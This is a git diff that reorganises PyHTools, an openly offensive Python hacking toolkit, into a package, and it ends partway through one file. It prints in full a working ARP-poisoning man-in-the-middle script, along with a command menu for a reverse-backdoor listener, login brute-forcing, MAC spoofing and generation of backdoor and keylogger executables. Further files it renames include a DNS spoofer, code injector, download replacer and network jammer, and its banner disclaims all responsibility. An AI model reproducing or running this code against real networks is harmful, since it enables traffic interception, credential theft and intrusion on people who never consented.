diff --git a/README.md b/README.md
index dc8c9e4..d8442e2 100644
--- a/README.md
+++ b/README.md
@@ -14,7 +14,7 @@
**`NOTE` : The UI hasn't been updated yet with new tools, and evil files so using cli is preferred.**
-### How To Videos
+## How To Videos
- Gain access to remote shell over the Internet using HTTP Backdoor
@@ -138,7 +138,6 @@
- [ ] Create package and upload to PyPi
-
### Have any Ideas 💡 or issue
- Create an issue
diff --git a/UI/functions.py b/UI/functions.py
deleted file mode 100644
index d7ef3c6..0000000
--- a/UI/functions.py
+++ /dev/null
@@ -1,182 +0,0 @@
-import pyfiglet
-import os
-import sys
-from prettytable import PrettyTable
-# ------------- Custom imports -----------------------
-from UI.colors import *
-import attackers.attackers as attacker
-import malwares.reverse_backdoor.TCP.listener as listener
-import malwares.send_mail.send_mail as mail
-
-
-def clrscr():
- if os.name=='nt':
- os.system('cls')
- elif os.name=='posix':
- os.system('clear')
-
-
-def banner():
- '''
- prints PyHTools Banner
- '''
- clrscr()
- print(BRIGHT_YELLOW + pyfiglet.figlet_format('PyHTools'))
- print(BRIGHT_YELLOW + '+' +'-'*42 + '+' )
-
- print(BRIGHT_WHITE +'| written by Dhrumil Mistry\tpht v1.0 |')
- print(BRIGHT_YELLOW + '+' + '-'*42 + '+' )
-
-
-def print_help():
- '''
- prints commands with their brief description.
- '''
- print(BRIGHT_WHITE + 'Python Hacking Tools (PyHTools) (pht)')
-
- help = PrettyTable(['Command','Description'])
- help.align['Command'] = 'c'
- help.align['Description'] = 'l'
- # help.add_row(['',''])
-
- help.add_row(['clear','clear console'])
- help.add_row(['help','display help table'])
- help.add_row(['close pht','exit PyHackingTools'])
-
- help.add_row(['machngr','change mac address of the network interface'])
- help.add_row(['arpspoofer','spoof the target by arp poisoning'])
- help.add_row(['nwscan','scan for ip range in the network'])
-
- help.add_row(['webspider','maps all the links which are related to root url on the website'])
- help.add_row(['webcrawldirs','scan for valid directories of the website using a wordlist'])
- help.add_row(['webcrawlsubdom','scan for valid subdomains of the website using a wordlist'])
- help.add_row(['weblogin','bruteforce webpage login'])
- help.add_row(['webvulnscan','scan for vulnerabilities on the website'])
-
- # help.add_row(['',''])
-
-
-
- help.add_row(['listener','start listener on specific LHOST and LPORT'])
- help.add_row(['sendmail','send mail to specific email address'])
-
- help.add_row(['gen exe', 'generate executables of reverse backdoor, keylogger, etc.'])
-
- print(help)
-
-
-def send_mail_to(email, password, receiver, subject, body)->bool:
- '''
- send mail
- '''
- print(BRIGHT_WHITE + '[*] Sending email...')
- msg = f'Subject: {subject}\n{body}'
- if mail.send_mail_to(email, receiver, password, msg):
- print(BRIGHT_YELLOW + '[\u2714] Mail Sent')
- else:
- print(BRIGHT_RED + '[\u274c] Unable to send mail.')
-
-
-def listener_option():
- '''
- executes commands to run listener option.
- '''
- host = input('[+] LHOST : ')
- port = int(input('[+] LPORT : '))
- lsnr = listener.Listener(host,port)
- lsnr.run()
-
-
-def sendmail_option():
- '''
- executes commands to run send mail option.
- '''
- email = input('[+] gmail acc : ')
- password = input('[+] password : ')
- print('[!] if you want to send mail to yourself enter "self" (without quotes)')
- receiver = input('[+] email to : ')
- if receiver.lower() == 'self':
- receiver = email
- subject = input('[+] subject : ')
- body = input('[+] body : ')
- send_mail_to(email, password, receiver, subject, body)
-
-
-def machngr_option():
- '''
- executes commands to change mac address
- '''
- attacker.mac_changer()
-
-
-def generate_executable():
- '''
- executes commands to generate executables
- '''
- print(BRIGHT_YELLOW + '[-] Currently this feature is under test... Will update soon...')
- print(BRIGHT_WHITE + '[*] You can use scripts from malwares to manually generate evil files...')
-
-
-def run():
- '''
- start PyHTools
- '''
- while True:
- cmd = input(BACK_RED_BRIGHT_YELLOW + 'pyhtools >>' + RESET_COLORS + ' ').lower().strip()
-
- # BASIC UI COMMANDS
- if cmd == 'close pht':
- wanna_run = False
- print(BRIGHT_YELLOW + "[\U0001f604] WE ARE NEVER RESPONSIBLE FOR YOUR ACTIONS!")
- print(BRIGHT_RED + '[-] Closing PHT....')
- sys.exit(0)
-
- if cmd == 'clear':
- clrscr()
-
- elif cmd == 'help':
- print_help()
-
- # MALWARES
- elif cmd == 'listener':
- listener_option()
-
- elif cmd == 'sendmail':
- sendmail_option()
-
- elif cmd == 'gen exe':
- generate_executable()
-
- # NETWORK ATTACKERS
- elif cmd == 'machngr':
- machngr_option()
-
- elif cmd == 'arpspoofer':
- attacker.arpspoofer()
-
- elif cmd == 'nwscan':
- attacker.nw_scan()
-
- # WEB ATTACKERS
- elif cmd == 'webspider':
- attacker.webspider()
-
- elif cmd == 'webcrawldirs':
- attacker.webcrawldirs()
-
- elif cmd == 'webcrawlsubdom':
- attacker.webcrawlsubdom()
-
- elif cmd == 'weblogin':
- attacker.brute_login()
-
- elif cmd == 'webvulnscan':
- attacker.webvulnscan()
-
- else:
- print(BRIGHT_RED + '[-] Unknown command, use help to view valid commands')
-
-
-if __name__ == '__main__':
- banner()
- print(BRIGHT_YELLOW + '[\U0001f604] Run pyhtools.py to start Python Hacking Tools.')
\ No newline at end of file
diff --git a/attackers/Network/arpspoofer.py b/attackers/Network/arpspoofer.py
deleted file mode 100644
index 318cf7e..0000000
--- a/attackers/Network/arpspoofer.py
+++ /dev/null
@@ -1,163 +0,0 @@
-#!usr/bin/env python3
-
-# how to forward port on linux
-# execute any of the commands below
-# 1. sudo sysctl -w net.ipv4.ip_forward = 1
-# 2. sudo echo 1 > /proc/sys/net/ipv4/ip_forward
-
-
-import kamene.all as sp
-import argparse
-from time import sleep
-from UI.colors import *
-from sys import exit
-
-
-def get_args():
- '''
- get arguments from command line.
- '''
- parser = argparse.ArgumentParser('ARP spoofer')
- parser.add_argument('-t', '--target', dest = 'target', help='target ip')
- parser.add_argument('-s', '--spoof', dest = 'spoof', help='spoof ip')
- parser.add_argument('-mitm', '--man-in-the-middle', dest = 'mitm', help='switch for mitm attack option, default is 0')
-
- args = parser.parse_args()
-
- target_ip = args.target
- spoof_ip= args.spoof
- mitm = args.mitm
- del args
- return target_ip, spoof_ip, mitm
-
-
-def check_args(target_ip, spoof_ip):
- '''
- checks if arguments fetched are valid.
- '''
- if not target_ip:
- exit(BRIGHT_RED + "[-] Please enter target ip as argument, use -h or --help for more info")
- elif not spoof_ip:
- exit(BRIGHT_RED + "[-] Please enter spoof ip as argument, use -h or --help for more info")
-
- return True
-
-
-def generate_packet(PDST, HWDST, PSRC):
- '''
- generates spoof packets.
- '''
- packet = sp.ARP(op=2, pdst=PDST, hwdst = HWDST, psrc = PSRC)
- return packet
-
-
-def get_mac(ip):
- '''
- retrieves mac address from the ip.
- '''
- try:
- arp_req = sp.ARP(pdst=ip)
- brdcst = sp.Ether(dst='ff:ff:ff:ff:ff:ff')
-
- packet = brdcst / arp_req
- responded_list = sp.srp(packet, timeout = 2, verbose = False, retry=3)[0]
-
- return responded_list[0][1].hwsrc
- except PermissionError:
- print(BRIGHT_RED + '[-] run with sudo.')
- exit()
- except IndexError:
- print(BRIGHT_YELLOW + '\r[!] Unable to find target.')
-
-
-def spoof(target_ip, spoof_ip, args_status):
- '''
- spoof target with spoof ip mac.
- '''
- if args_status:
- target_mac = get_mac(target_ip)
- PACKET = generate_packet(target_ip, target_mac, spoof_ip)
- sp.send(PACKET, verbose = False)
- else:
- print('[-] Error while spoofing the target ' + target_ip)
-
-
-def mitm(target_ip, spoof_ip, args_status):
- '''
- performs man in the middle attack by arp poisoning.
- '''
- print(BRIGHT_YELLOW + '[+] Launching MITM ARP Attack....')
- packets_sent = 0
- is_attacking = True
- while is_attacking:
- try:
- spoof(target_ip, spoof_ip, args_status)
- spoof(spoof_ip, target_ip, args_status)
- packets_sent += 2
- print(BRIGHT_WHITE + '\r[+] Packets sent: ' + str(packets_sent), end='')
- sleep(2)
- except KeyboardInterrupt:
- print(BRIGHT_YELLOW +'\r\n[+] Stopping MITM attack and restoring default settings...')
- is_attacking = False
-
-
-def spoof_only(target_ip, spoof_ip, args_status):
- '''
- only spoofs the specified target.
- '''
- print(BRIGHT_YELLOW + f'[+] Spoofing {target_ip} as {spoof_ip}....')
-
- packets_sent = 0
- is_spoofing = True
- while is_spoofing:
- try:
- spoof(target_ip, spoof_ip, args_status)
- print(BRIGHT_WHITE + '\r[+] Packets sent: ' + str(packets_sent), end='')
- packets_sent += 1
- sleep(2)
- except KeyboardInterrupt:
- print(BRIGHT_YELLOW + '\r\n[+] Stopping and restoring default settings...')
- is_spoofing = False
-
-
-def restore_default_table(dst_ip, src_ip):
- '''
- restore default arp table of spoofed targets.
- '''
- try:
- dst_mac = get_mac(dst_ip)
- src_mac = get_mac(src_ip)
- packet = sp.ARP(op = 2, pdst = dst_ip, hwdst = dst_mac, psrc = src_ip, hwsrc = src_mac)
- sp.send(packet, verbose = False, count=4)
-
- except Exception as e:
- print(BRIGHT_RED +'[-] Exception occurred while restoring MAC address')
- raise(e)
-
-
-def run_spoofer(target_ip, spoof_ip, perform_mitm):
- '''
- start spoofer.
- '''
- TARGET_IP, SPOOF_IP, MITM = target_ip, spoof_ip, perform_mitm
- ARGS_STATUS = check_args(TARGET_IP, SPOOF_IP)
-
- if MITM == '1' or MITM:
- print(BRIGHT_YELLOW + '[*] Performing MITM attack...')
- mitm(TARGET_IP, SPOOF_IP, ARGS_STATUS)
- else:
- print(BRIGHT_YELLOW + f'[*] Performing Spoof Only on {TARGET_IP} as {SPOOF_IP}...')
- spoof_only(TARGET_IP, SPOOF_IP, ARGS_STATUS)
-
-
- print(BRIGHT_YELLOW + '[+] Restoring default table for target and gateway....')
- restore_default_table(TARGET_IP, SPOOF_IP)
- restore_default_table(SPOOF_IP, TARGET_IP)
-
- print(BRIGHT_RED +'[+] Closing ARPSPOOFER...')
-
-
-if __name__ == '__main__':
- TARGET_IP, SPOOF_IP, MITM = get_args()
- run_spoofer(TARGET_IP, SPOOF_IP, MITM)
-
\ No newline at end of file
diff --git a/attackers/Network/colors.py b/attackers/Network/colors.py
deleted file mode 100644
index 2910152..0000000
--- a/attackers/Network/colors.py
+++ /dev/null
@@ -1,7 +0,0 @@
-#!usr/bin/env python3
-from colorama import init, Style, Fore
-
-init(autoreset=True)
-BRIGHT_RED = Style.BRIGHT + Fore.RED
-BRIGHT_WHITE = Style.BRIGHT + Fore.WHITE
-BRIGHT_YELLOW = Style.BRIGHT + Fore.YELLOW
\ No newline at end of file
diff --git a/pyhtools.py b/pyhtools.py
deleted file mode 100644
index 18d01c4..0000000
--- a/pyhtools.py
+++ /dev/null
@@ -1,4 +0,0 @@
-import UI.functions as UI
-
-UI.banner()
-UI.run()
\ No newline at end of file
diff --git a/UI/colors.py b/pyhtools/UI/colors.py
similarity index 92%
rename from UI/colors.py
rename to pyhtools/UI/colors.py
index 762f7c6..ef727d3 100644
--- a/UI/colors.py
+++ b/pyhtools/UI/colors.py
@@ -1,4 +1,3 @@
-#!usr/bin/env python3
from colorama import init, Style, Fore, Back
init(autoreset=True)
diff --git a/pyhtools/UI/functions.py b/pyhtools/UI/functions.py
new file mode 100644
index 0000000..5153014
--- /dev/null
+++ b/pyhtools/UI/functions.py
@@ -0,0 +1,192 @@
+from pyhtools.UI.colors import *
+from prettytable import PrettyTable
+import pyfiglet
+import os
+import sys
+import pyhtools.attackers.attackers as attacker
+import pyhtools.malwares.reverse_backdoor.TCP.listener as listener
+import pyhtools.malwares.send_mail.send_mail as mail
+
+
+def clrscr():
+ if os.name == 'nt':
+ os.system('cls')
+ elif os.name == 'posix':
+ os.system('clear')
+
+
+def banner():
+ '''
+ prints PyHTools Banner
+ '''
+ clrscr()
+ print(BRIGHT_YELLOW + pyfiglet.figlet_format('PyHTools'))
+ print(BRIGHT_YELLOW + '+' + '-'*42 + '+')
+
+ print(BRIGHT_WHITE + '| written by Dhrumil Mistry\tpht v1.0 |')
+ print(BRIGHT_YELLOW + '+' + '-'*42 + '+')
+
+
+def print_help():
+ '''
+ prints commands with their brief description.
+ '''
+ print(BRIGHT_WHITE + 'Python Hacking Tools (PyHTools) (pht)')
+
+ help = PrettyTable(['Command', 'Description'])
+ help.align['Command'] = 'c'
+ help.align['Description'] = 'l'
+ # help.add_row(['',''])
+
+ help.add_row(['clear', 'clear console'])
+ help.add_row(['help', 'display help table'])
+ help.add_row(['close pht', 'exit PyHackingTools'])
+
+ help.add_row(['machngr', 'change mac address of the network interface'])
+ help.add_row(['arpspoofer', 'spoof the target by arp poisoning'])
+ help.add_row(['nwscan', 'scan for ip range in the network'])
+
+ help.add_row(
+ ['webspider', 'maps all the links which are related to root url on the website'])
+ help.add_row(
+ ['webcrawldirs', 'scan for valid directories of the website using a wordlist'])
+ help.add_row(
+ ['webcrawlsubdom', 'scan for valid subdomains of the website using a wordlist'])
+ help.add_row(['weblogin', 'bruteforce webpage login'])
+ help.add_row(['webvulnscan', 'scan for vulnerabilities on the website'])
+
+ # help.add_row(['',''])
+
+ help.add_row(['listener', 'start listener on specific LHOST and LPORT'])
+ help.add_row(['sendmail', 'send mail to specific email address'])
+
+ help.add_row(
+ ['gen exe', 'generate executables of reverse backdoor, keylogger, etc.'])
+
+ print(help)
+
+
+def send_mail_to(email, password, receiver, subject, body) -> bool:
+ '''
+ send mail
+ '''
+ print(BRIGHT_WHITE + '[*] Sending email...')
+ msg = f'Subject: {subject}\n{body}'
+ if mail.send_mail_to(email, receiver, password, msg):
+ print(BRIGHT_YELLOW + '[\u2714] Mail Sent')
+ else:
+ print(BRIGHT_RED + '[\u274c] Unable to send mail.')
+
+
+def listener_option():
+ '''
+ executes commands to run listener option.
+ '''
+ host = input('[+] LHOST : ')
+ port = int(input('[+] LPORT : '))
+ lsnr = listener.Listener(host, port)
+ lsnr.run()
+
+
+def sendmail_option():
+ '''
+ executes commands to run send mail option.
+ '''
+ email = input('[+] gmail acc : ')
+ password = input('[+] password : ')
+ print('[!] if you want to send mail to yourself enter "self" (without quotes)')
+ receiver = input('[+] email to : ')
+ if receiver.lower() == 'self':
+ receiver = email
+ subject = input('[+] subject : ')
+ body = input('[+] body : ')
+ send_mail_to(email, password, receiver, subject, body)
+
+
+def machngr_option():
+ '''
+ executes commands to change mac address
+ '''
+ attacker.mac_changer()
+
+
+def generate_executable():
+ '''
+ executes commands to generate executables
+ '''
+ print(BRIGHT_YELLOW +
+ '[-] Currently this feature is under test... Will update soon...')
+ print(BRIGHT_WHITE +
+ '[*] You can use scripts from malwares to manually generate evil files...')
+
+
+def run():
+ '''
+ start PyHTools
+ '''
+ try:
+ while True:
+ cmd = input(BACK_RED_BRIGHT_YELLOW + 'pyhtools >>' +
+ RESET_COLORS + ' ').lower().strip()
+
+ # BASIC UI COMMANDS
+ if cmd == 'close pht':
+ break
+
+ elif cmd == 'clear':
+ clrscr()
+
+ elif cmd == 'help':
+ print_help()
+
+ # MALWARES
+ elif cmd == 'listener':
+ listener_option()
+
+ elif cmd == 'sendmail':
+ sendmail_option()
+
+ elif cmd == 'gen exe':
+ generate_executable()
+
+ # NETWORK ATTACKERS
+ elif cmd == 'machngr':
+ machngr_option()
+
+ elif cmd == 'arpspoofer':
+ attacker.arpspoofer()
+
+ elif cmd == 'nwscan':
+ attacker.nw_scan()
+
+ # WEB ATTACKERS
+ elif cmd == 'webspider':
+ attacker.webspider()
+
+ elif cmd == 'webcrawldirs':
+ attacker.webcrawldirs()
+
+ elif cmd == 'webcrawlsubdom':
+ attacker.webcrawlsubdom()
+
+ elif cmd == 'weblogin':
+ attacker.brute_login()
+
+ elif cmd == 'webvulnscan':
+ attacker.webvulnscan()
+
+ else:
+ print(BRIGHT_RED +
+ '[-] Unknown command, use help to view valid commands')
+
+ except (EOFError, KeyboardInterrupt):
+ print(BRIGHT_YELLOW +
+ "[\U0001f604] WE ARE NEVER RESPONSIBLE FOR YOUR ACTIONS!")
+ print(BRIGHT_RED + '[-] Closing PHT....')
+ sys.exit(0)
+
+
+if __name__ == '__main__':
+ banner()
+ print(BRIGHT_YELLOW +
+ '[\U0001f604] Run pyhtools.py to start Python Hacking Tools.')
diff --git a/worms/__init__.py b/pyhtools/__init__.py
similarity index 100%
rename from worms/__init__.py
rename to pyhtools/__init__.py
diff --git a/pyhtools/__main__.py b/pyhtools/__main__.py
new file mode 100644
index 0000000..4310259
--- /dev/null
+++ b/pyhtools/__main__.py
@@ -0,0 +1,7 @@
+from . UI import functions as UI
+
+UI.banner()
+try:
+ UI.run()
+except Exception as e:
+ print(e)
diff --git a/pyhtools/attackers/Network/arpspoofer.py b/pyhtools/attackers/Network/arpspoofer.py
new file mode 100644
index 0000000..5058254
--- /dev/null
+++ b/pyhtools/attackers/Network/arpspoofer.py
@@ -0,0 +1,170 @@
+# how to forward port on linux
+# execute any of the commands below
+# 1. sudo sysctl -w net.ipv4.ip_forward = 1
+# 2. sudo echo 1 > /proc/sys/net/ipv4/ip_forward
+
+
+import kamene.all as sp
+import argparse
+from time import sleep
+from pyhtools.UI.colors import *
+from sys import exit
+
+
+def get_args():
+ '''
+ get arguments from command line.
+ '''
+ parser = argparse.ArgumentParser('ARP spoofer')
+ parser.add_argument('-t', '--target', dest='target', help='target ip')
+ parser.add_argument('-s', '--spoof', dest='spoof', help='spoof ip')
+ parser.add_argument('-mitm', '--man-in-the-middle', dest='mitm',
+ help='switch for mitm attack option, default is 0')
+
+ args = parser.parse_args()
+
+ target_ip = args.target
+ spoof_ip = args.spoof
+ mitm = args.mitm
+ del args
+ return target_ip, spoof_ip, mitm
+
+
+def check_args(target_ip, spoof_ip):
+ '''
+ checks if arguments fetched are valid.
+ '''
+ if not target_ip:
+ exit(BRIGHT_RED +
+ "[-] Please enter target ip as argument, use -h or --help for more info")
+ elif not spoof_ip:
+ exit(BRIGHT_RED +
+ "[-] Please enter spoof ip as argument, use -h or --help for more info")
+
+ return True
+
+
+def generate_packet(PDST, HWDST, PSRC):
+ '''
+ generates spoof packets.
+ '''
+ packet = sp.ARP(op=2, pdst=PDST, hwdst=HWDST, psrc=PSRC)
+ return packet
+
+
+def get_mac(ip):
+ '''
+ retrieves mac address from the ip.
+ '''
+ try:
+ arp_req = sp.ARP(pdst=ip)
+ brdcst = sp.Ether(dst='ff:ff:ff:ff:ff:ff')
+
+ packet = brdcst / arp_req
+ responded_list = sp.srp(packet, timeout=2, verbose=False, retry=3)[0]
+
+ return responded_list[0][1].hwsrc
+ except PermissionError:
+ print(BRIGHT_RED + '[-] run with sudo.')
+ exit()
+ except IndexError:
+ print(BRIGHT_YELLOW + '\r[!] Unable to find target.')
+
+
+def spoof(target_ip, spoof_ip, args_status):
+ '''
+ spoof target with spoof ip mac.
+ '''
+ if args_status:
+ target_mac = get_mac(target_ip)
+ PACKET = generate_packet(target_ip, target_mac, spoof_ip)
+ sp.send(PACKET, verbose=False)
+ else:
+ print('[-] Error while spoofing the target ' + target_ip)
+
+
+def mitm(target_ip, spoof_ip, args_status):
+ '''
+ performs man in the middle attack by arp poisoning.
+ '''
+ print(BRIGHT_YELLOW + '[+] Launching MITM ARP Attack....')
+ packets_sent = 0
+ is_attacking = True
+ while is_attacking:
+ try:
+ spoof(target_ip, spoof_ip, args_status)
+ spoof(spoof_ip, target_ip, args_status)
+ packets_sent += 2
+ print(BRIGHT_WHITE + '\r[+] Packets sent: ' +
+ str(packets_sent), end='')
+ sleep(2)
+ except KeyboardInterrupt:
+ print(BRIGHT_YELLOW +
+ '\r\n[+] Stopping MITM attack and restoring default settings...')
+ is_attacking = False
+
+
+def spoof_only(target_ip, spoof_ip, args_status):
+ '''
+ only spoofs the specified target.
+ '''
+ print(BRIGHT_YELLOW + f'[+] Spoofing {target_ip} as {spoof_ip}....')
+
+ packets_sent = 0
+ is_spoofing = True
+ while is_spoofing:
+ try:
+ spoof(target_ip, spoof_ip, args_status)
+ print(BRIGHT_WHITE + '\r[+] Packets sent: ' +
+ str(packets_sent), end='')
+ packets_sent += 1
+ sleep(2)
+ except KeyboardInterrupt:
+ print(BRIGHT_YELLOW +
+ '\r\n[+] Stopping and restoring default settings...')
+ is_spoofing = False
+
+
+def restore_default_table(dst_ip, src_ip):
+ '''
+ restore default arp table of spoofed targets.
+ '''
+ try:
+ dst_mac = get_mac(dst_ip)
+ src_mac = get_mac(src_ip)
+ packet = sp.ARP(op=2, pdst=dst_ip, hwdst=dst_mac,
+ psrc=src_ip, hwsrc=src_mac)
+ sp.send(packet, verbose=False, count=4)
+
+ except Exception as e:
+ print(BRIGHT_RED +
+ '[-] Exception occurred while restoring MAC address')
+ raise(e)
+
+
+def run_spoofer(target_ip, spoof_ip, perform_mitm):
+ '''
+ start spoofer.
+ '''
+ TARGET_IP, SPOOF_IP, MITM = target_ip, spoof_ip, perform_mitm
+ ARGS_STATUS = check_args(TARGET_IP, SPOOF_IP)
+
+ if MITM == '1' or MITM:
+ print(BRIGHT_YELLOW + '[*] Performing MITM attack...')
+ mitm(TARGET_IP, SPOOF_IP, ARGS_STATUS)
+ else:
+ print(BRIGHT_YELLOW +
+ f'[*] Performing Spoof Only on {TARGET_IP} as {SPOOF_IP}...')
+ spoof_only(TARGET_IP, SPOOF_IP, ARGS_STATUS)
+
+ print(BRIGHT_YELLOW +
+ '[+] Restoring default table for target and gateway....')
+ restore_default_table(TARGET_IP, SPOOF_IP)
+ restore_default_table(SPOOF_IP, TARGET_IP)
+
+ print(BRIGHT_RED + '[+] Closing ARPSPOOFER...')
+
+
+if __name__ == '__main__':
+ TARGET_IP, SPOOF_IP, MITM = get_args()
+ run_spoofer(TARGET_IP, SPOOF_IP, MITM)
diff --git a/attackers/Network/code_injector.py b/pyhtools/attackers/Network/code_injector.py
similarity index 98%
rename from attackers/Network/code_injector.py
rename to pyhtools/attackers/Network/code_injector.py
index d4f6d2e..39c8c6b 100644
--- a/attackers/Network/code_injector.py
+++ b/pyhtools/attackers/Network/code_injector.py
@@ -1,5 +1,3 @@
-#!usr/bin/env python3
-
#########################################################################
# Author : Dhrumil Mistry
#########################################################################
@@ -14,7 +12,8 @@
import netfilterqueue
import scapy.all as scapy
from re import search, sub
-from colors import *
+from pyhtools.UI.colors import *
+
############################### Functions ###############################
def forward_packets():
diff --git a/attackers/Network/dnsspoofer.py b/pyhtools/attackers/Network/dnsspoofer.py
similarity index 100%
rename from attackers/Network/dnsspoofer.py
rename to pyhtools/attackers/Network/dnsspoofer.py
diff --git a/attackers/Network/downloads_replacer.py b/pyhtools/attackers/Network/downloads_replacer.py
similarity index 100%
rename from attackers/Network/downloads_replacer.py
rename to pyhtools/attackers/Network/downloads_replacer.py
diff --git a/attackers/Network/machngr.py b/pyhtools/attackers/Network/machngr.py
similarity index 99%
rename from attackers/Network/machngr.py
rename to pyhtools/attackers/Network/machngr.py
index f849ec7..14f2d45 100644
--- a/attackers/Network/machngr.py
+++ b/pyhtools/attackers/Network/machngr.py
@@ -5,7 +5,7 @@
import argparse
from sys import exit
from random import randint
-from UI.colors import *
+from pyhtools.UI.colors import *
import os
diff --git a/attackers/Network/network_jammer.py b/pyhtools/attackers/Network/network_jammer.py
similarity index 100%
rename from attackers/Network/network_jammer.py
rename to pyhtools/attackers/Network/network_jammer.py
diff --git a/attackers/Network/nwscan.py b/pyhtools/attackers/Network/nwscan.py
similarity index 97%
rename from attackers/Network/nwscan.py
rename to pyhtools/attackers/Network/nwscan.py
index 20d40ca..7f38549 100644
--- a/attackers/Network/nwscan.py
+++ b/pyhtools/attackers/Network/nwscan.py
@@ -1,8 +1,7 @@
#!usr/bin/env python3
import kamene.all as sp
import argparse
-from UI.colors import *
-# from colors import *
+from pyhtools.UI.colors import *
def get_args():
diff --git a/attackers/Network/pkt_sniffer.py b/pyhtools/attackers/Network/pkt_sniffer.py
similarity index 96%
rename from attackers/Network/pkt_sniffer.py
rename to pyhtools/attackers/Network/pkt_sniffer.py
index 714f81b..b047f93 100644
--- a/attackers/Network/pkt_sniffer.py
+++ b/pyhtools/attackers/Network/pkt_sniffer.py
@@ -1,11 +1,8 @@
-#!usr/bin/env python
-
-# sudo pip install scapy_http
-import scapy.all as sp
+import scapy.all as sp # sudo pip install scapy_http (python2)
from scapy.layers import http
import argparse
from sys import exit
-from colors import *
+from pyhtools.UI.colors import *
def get_args():
diff --git a/attackers/Websites/website_crawler/crawler.py b/pyhtools/attackers/Websites/crawler.py
similarity index 98%
rename from attackers/Websites/website_crawler/crawler.py
rename to pyhtools/attackers/Websites/crawler.py
index 31d1950..ee5ed79 100644
--- a/attackers/Websites/website_crawler/crawler.py
+++ b/pyhtools/attackers/Websites/crawler.py
@@ -2,7 +2,7 @@
import os
import argparse
import sys
-from UI.colors import *
+from pyhtools.UI.colors import *
def get_args()->dict:
@@ -79,6 +79,7 @@ def check_directories(domain:str, dir_name:str)->bool:
if request(url):
print('[*] Valid Directory : ', url)
+ return True
else:
return False
diff --git a/attackers/Websites/get_form/get_forms.py b/pyhtools/attackers/Websites/get_forms.py
similarity index 98%
rename from attackers/Websites/get_form/get_forms.py
rename to pyhtools/attackers/Websites/get_forms.py
index c9bbf44..cd86d40 100644
--- a/attackers/Websites/get_form/get_forms.py
+++ b/pyhtools/attackers/Websites/get_forms.py
@@ -1,11 +1,10 @@
-#!usr/bin/env python3
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin
# Beta Tool
def remove_escape_seq(content:str)->str:
- r'''
+ '''
desc: removes \r \t \n from the html parsed content if present.
params: content(str)
returns: str
diff --git a/attackers/Websites/login_guesser/login.py b/pyhtools/attackers/Websites/login_guesser.py
similarity index 96%
rename from attackers/Websites/login_guesser/login.py
rename to pyhtools/attackers/Websites/login_guesser.py
index 7d5ac42..4860711 100644
--- a/attackers/Websites/login_guesser/login.py
+++ b/pyhtools/attackers/Websites/login_guesser.py
@@ -2,7 +2,7 @@
import requests
import os
import sys
-from UI.colors import *
+from pyhtools.UI.colors import *
def bruteforce_login(target_url:str, wordlist_file:str, post_values:dict):
# tested on DVWA web app.
diff --git a/attackers/Websites/spider/spider.py b/pyhtools/attackers/Websites/spider.py
similarity index 98%
rename from attackers/Websites/spider/spider.py
rename to pyhtools/attackers/Websites/spider.py
index 0f69cf6..0f63ed3 100644
--- a/attackers/Websites/spider/spider.py
+++ b/pyhtools/attackers/Websites/spider.py
@@ -4,7 +4,7 @@
import re
from urllib.parse import urljoin
import argparse
-from UI.colors import *
+from pyhtools.UI.colors import *
# list to save links on the whole webpage
diff --git a/attackers/Websites/vuln_scanner/README.md b/pyhtools/attackers/Websites/vuln_scanner/README.md
similarity index 100%
rename from attackers/Websites/vuln_scanner/README.md
rename to pyhtools/attackers/Websites/vuln_scanner/README.md
diff --git a/attackers/Websites/vuln_scanner/scanner.py b/pyhtools/attackers/Websites/vuln_scanner/scanner.py
similarity index 94%
rename from attackers/Websites/vuln_scanner/scanner.py
rename to pyhtools/attackers/Websites/vuln_scanner/scanner.py
index c85fadd..b63ad62 100644
--- a/attackers/Websites/vuln_scanner/scanner.py
+++ b/pyhtools/attackers/Websites/vuln_scanner/scanner.py
@@ -4,8 +4,8 @@
import re
from urllib.parse import urljoin
from bs4 import BeautifulSoup
-from UI.colors import BRIGHT_RED, BRIGHT_WHITE, BRIGHT_YELLOW
-from time import sleep
+from pyhtools.UI.colors import BRIGHT_RED, BRIGHT_WHITE, BRIGHT_YELLOW
+
class Scanner:
def __init__(self, url:str, ignore_links:list) -> None:
@@ -131,20 +131,21 @@ def is_xss_vulnerable_in_form(self, form, url)->bool:
return test_script_payload in response_content
- def is_xss_vulnerable_in_link(self, url):
+ def is_xss_vulnerable_in_link(self, url, payload=None):
'''
description: tests whether the passed url is xss vulnerable or not.
returns True if vulnerable.
- params: form, url
+ params: form, url, payload
returns: bool
'''
- test_script_payload = ""
- url = url.replace('=',f'={test_script_payload}')
+ if payload is None:
+ payload = ""
+ url = url.replace('=',f'={payload}')
response_content = self.get_page_content(url)
# response = BeautifulSoup(response_content, 'html.parser')
# print(BRIGHT_YELLOW + '[-] RESPONSE: \n', response.prettify())
- return test_script_payload in response_content
+ return payload in response_content
def run(self):
diff --git a/attackers/Websites/vuln_scanner/sqli.py b/pyhtools/attackers/Websites/vuln_scanner/sqli.py
similarity index 100%
rename from attackers/Websites/vuln_scanner/sqli.py
rename to pyhtools/attackers/Websites/vuln_scanner/sqli.py
diff --git a/attackers/Websites/vuln_scanner/test.txt b/pyhtools/attackers/Websites/vuln_scanner/test.txt
similarity index 100%
rename from attackers/Websites/vuln_scanner/test.txt
rename to pyhtools/attackers/Websites/vuln_scanner/test.txt
diff --git a/attackers/Websites/vuln_scanner/vuln_scanner.py b/pyhtools/attackers/Websites/vuln_scanner/vuln_scanner.py
similarity index 98%
rename from attackers/Websites/vuln_scanner/vuln_scanner.py
rename to pyhtools/attackers/Websites/vuln_scanner/vuln_scanner.py
index cf85c69..ac08b01 100644
--- a/attackers/Websites/vuln_scanner/vuln_scanner.py
+++ b/pyhtools/attackers/Websites/vuln_scanner/vuln_scanner.py
@@ -1,6 +1,6 @@
import scanner
import argparse
-from UI.colors import *
+from pyhtools.UI.colors import *
import sys
diff --git a/pyhtools/attackers/__init__.py b/pyhtools/attackers/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/attackers/attackers.py b/pyhtools/attackers/attackers.py
similarity index 65%
rename from attackers/attackers.py
rename to pyhtools/attackers/attackers.py
index 5b2331a..a58b9fd 100644
--- a/attackers/attackers.py
+++ b/pyhtools/attackers/attackers.py
@@ -1,13 +1,13 @@
-#!usr/bin/env python3
-from UI.colors import *
import json
-import attackers.Network.arpspoofer as arp
-import attackers.Network.nwscan as nwscan
-import attackers.Network.machngr as machngr
-import attackers.Websites.login_guesser.login as web_login
-import attackers.Websites.spider.spider as spider
-import attackers.Websites.website_crawler.crawler as crawler
-from attackers.Websites.vuln_scanner.scanner import Scanner
+import pyhtools.attackers.Network.arpspoofer as arp
